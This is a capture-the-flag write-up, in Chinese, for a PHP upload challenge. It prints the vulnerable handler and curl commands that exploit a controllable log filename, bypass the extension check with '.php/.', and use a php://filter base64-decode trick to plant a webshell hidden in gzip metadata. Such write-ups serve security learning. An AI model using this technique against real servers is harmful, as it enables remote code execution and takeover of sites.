# WTF * site : http://eofqual.ais3.org:9487/ ```php= <?php if (!empty($_FILES['file'])) { $filename = $_FILES['file']['tmp_name']; $timestamp = date('Y-m-d-H:i:s'); $log_file = $_POST['log'] ?? "$timestamp.log"; $result = shell_exec(sprintf("file -- %s", escapeshellarg($filename))); $result = strchr($result, ":", 0); $result = htmlentities($result); $extension = pathinfo($log_file, PATHINFO_EXTENSION); if (strtolower(substr($extension, 0, 2)) !== "ph") { file_put_contents($log_file, $timestamp . $result); } else { echo "NO!"; } echo 'File Type<strong>'.$result.'</strong>'; } ?> ``` * ```$log_file = $_POST['log'] ?? "$timestamp.log";``` 所以 log_file 的檔名可控 ```bash curl -F "file=@/mnt/d/school/eductf/final/wtf.file" -F "log=[control filename]" eofqual.ais3.org:9487 ``` * ```strtolower(substr($extension, 0, 2)) !== "ph"``` 會擋 ph 開頭的檔名,但是 pathinfo 可以簡單的用 ```.php/.``` 繞過,或是用 .inc 也可以 ([file upload bypass](https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/web-application/file-upload-bypass)) * 看了 [這篇](https://xz.aliyun.com/t/7081) 知道說 ```file -- ``` 其實是可以利用的,像是直接去改 gz 檔案裡面的內容可以在 ```file --``` 的時候顯示出來,所以就直接把 shellcode 塞在裡面 ![](https://i.imgur.com/aPYen8K.png) * 雖然可以讓 shellcode 出現了,但是被 php 開頭的 < 會被 htmlentities 擋住,不過因為檔名可控,就可以利用 php filter,所以先把 shellcode base64 decode 以後塞進去 ![](https://i.imgur.com/u5s8QCE.png) * 要注意會有 padding 問題,所以要前面要塞點東西讓他能正常 base64 decode,還有最後的 == 要改掉才不會出錯 ```bash curl -F "file=@/mnt/d/school/eductf/final/wtf.gz" -F "log=php://filter/write=convert.base64-decode/resource=ok.php/." eofqual.ai ``` ![](https://i.imgur.com/G37w02g.png) * FLAG{𖥂𖢐𖥑𖣠𖤐𖤐𖤐𖣠𖡨𖥶𖦂} ###### tags: `solved`